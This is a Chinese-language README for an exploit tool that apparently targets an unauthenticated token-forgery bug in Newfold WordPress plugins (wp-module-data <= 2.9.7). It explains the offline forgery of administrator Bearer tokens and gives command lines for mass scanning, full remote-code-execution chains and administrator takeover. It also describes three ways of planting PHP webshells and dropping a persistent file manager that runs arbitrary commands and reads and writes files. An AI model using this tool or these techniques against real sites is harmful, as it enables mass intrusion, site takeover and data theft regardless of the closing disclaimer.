Newfold 插件(wp-module-data <= 2.9.7)未认证
针对捆绑了 wp-module-data 的 Newfold WordPress 插件的未认证身份验证绕过与 RCE 漏洞利用工具。
本工具利用 Newfold wp-module-data 模块中的 Bearer token 验证缺陷。当使用受影响的 Newfold 插件的 WordPress 站点未连接到 Hiive 时,HiiveConnection::get_auth_token() 返回 false。该值经过 strrev() 处理后进行哈希,使秘密盐值退化为公开常量:
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
由于哈希载荷中的所有其他组成部分(HTTP 方法、请求 URL、请求体、时间戳)完全由攻击者控制,因此可以在离线状态下计算出有效的 Bearer token。存在漏洞的过滤器运行在 rest_authentication_errors 上,因此伪造的 token 会将调用者认证为整个 WordPress REST API(包括核心路由)的第一个管理员。随后利用该访问权限实现完整的远程代码执行。
| 插件 / 模块 | 受影响版本 | 已修复 |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
检测还覆盖 WordPress.org 插件别名 wp-plugin-web 和 crazy_blog。
在 vendor/newfold-labs/wp-module-data/includes/Data.php 中:
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
在未连接的站点上,strrev(false) 被强制转换为 strrev(''),其结果为 '',盐值因此变为众所周知的空字符串哈希。哈希链中的所有其他输入均由攻击者控制,因此 token 完全可预测。
newfold-data/v1/verify/<hex> REST 路由检测模块是否存在GET /wp/v2/users/me 并检查角色来验证绕过404.php / index.php.fm.php 文件管理器wp-login.php 的 ModSecurity 拦截)和经典 wp-login.php 表单登录requestsurllib3(可选,仅用于抑制 TLS 警告)安装依赖:
pip install requests urllib3
只读检测与绕过验证:
python3 exploit.py -u https://target.example
完整利用链获取持久化 shell:
python3 exploit.py -u https://target.example --mode rce
重置第一个管理员的密码,而不是创建新管理员:
python3 exploit.py -u https://target.example --mode rce --takeover
对目标列表进行仅检测扫描:
python3 exploit.py --list targets.txt
对每个存在漏洞的主机执行完整利用链(需要显式确认):
python3 exploit.py --list targets.txt --mode rce --apply-rce
在访问 REST API 之前使用静态资源探测进行预过滤:
python3 exploit.py --list targets.txt --brand-filter
在发现前 N 个存在漏洞的主机后停止:
python3 exploit.py --list targets.txt --stop-after 5
恢复之前的运行:
python3 exploit.py --list targets.txt --resume
| 参数 | 描述 |
|---|---|
-u, --url | 单个目标的基础 URL |
--list | 每行一个目标 URL 的文件 |
--mode | check(仅检测)或 rce(完整利用链);默认 check |
--takeover | 重置第一个管理员密码,而不是创建新管理员 |
--output | 批量模式的 JSONL 输出路径;默认 cve_2026_80099_results.jsonl |
--vuln-list | 存在漏洞主机的纯 URL 列表;默认 vuln.txt |
--threads | 批量模式的工作线程数;默认 20 |
--timeout | 请求超时时间(秒);默认 15 |
--fast-timeout | 快速探测超时时间(秒);默认 6 |
--retries | 每个请求的重试次数;默认 1 |
--proxy | HTTP(S) 代理 URL |
--all-out | 写入所有批量记录,而不仅是存在漏洞的记录 |
--apply-rce | 在批量模式下对存在漏洞的主机执行 RCE 利用链 |
--brand-filter | 使用 Newfold 插件静态资源进行预过滤 |
--stop-after | 发现 N 个存在漏洞的主机后停止批量扫描;0 表示全部运行 |
--quiet | 禁用每个目标的进度输出 |
--resume | 追加到输出文件并跳过已存在的目标 |
一旦确认管理员上下文,工具会按顺序尝试三种技术:
主题编辑器 shell — 将一个小型 PHP 载荷写入当前主题的 404.php 或 index.php。通过请求任意不存在的 URL(针对 404.php)或站点根路径(针对 index.php)触发该载荷。
插件上传 shell — 构建包含最小化插件的 ZIP,通过 wp-admin/update.php?action=upload-plugin 上传,并直接访问插件 PHP 文件。
未启用插件编辑器利用链 — 通过 REST API 列出插件,选择一个未启用的插件,通过 plugin-editor.php 将 cmd-shell 写入其主文件,通过 PUT /wp/v2/plugins/<slug> 激活它,在任意前端 URL 上触发 shell,将 .fm.php 投放到 webroot,然后停用插件并恢复原始文件。此路径旨在应对阻止主题编辑器、阻止直接访问 wp-content 或通过回环健康检查还原修改的主机。
成功后,会在 webroot 中投放一个持久化的 .fm.php 文件管理器。它支持:
?cmd=<shell command>?cat=<path> 读取文件?put=<path>&data=<base64> 写入文件?ls=<path> 列出目录cve_2026_80099_results.jsonl — 每个扫描目标的 JSONL 记录。存在漏洞的条目包含 vuln: true、admin、admin_id,当 RCE 成功时还包含 shell(投放的文件管理器或 shell 的 URL)。vuln.txt — 每行一个纯 URL,对应每个存在漏洞或已获取 shell 的目标。trust_env = False 忽略系统和环境代理,以避免批量扫描通过本地代理泄露。Url::getCurrentUrl() 的行为一致。请求首先被准备,token 从准备好的 URL 派生。json_encode 的默认行为,包括转义正斜杠、\uXXXX 非 ASCII 转义以及星体字符的 UTF-16 代理对,因此哈希载荷逐字节匹配。401 通常意味着目标已修复(模块 >= 2.9.8)、站点已连接到 Hiive(真实 token,盐值未知),或中间设备剥离了 Authorization 头。403 通常表示另一个 rest_authentication_errors 过滤器进行了干扰。本工具仅供授权的安全测试和研究使用。请仅针对您拥有或已获得明确书面许可进行测试的系统使用。未经授权访问计算机系统在大多数司法管辖区属于违法行为,可能导致严重的民事和刑事处罚。作者对因本软件造成的误用或损害不承担任何责任。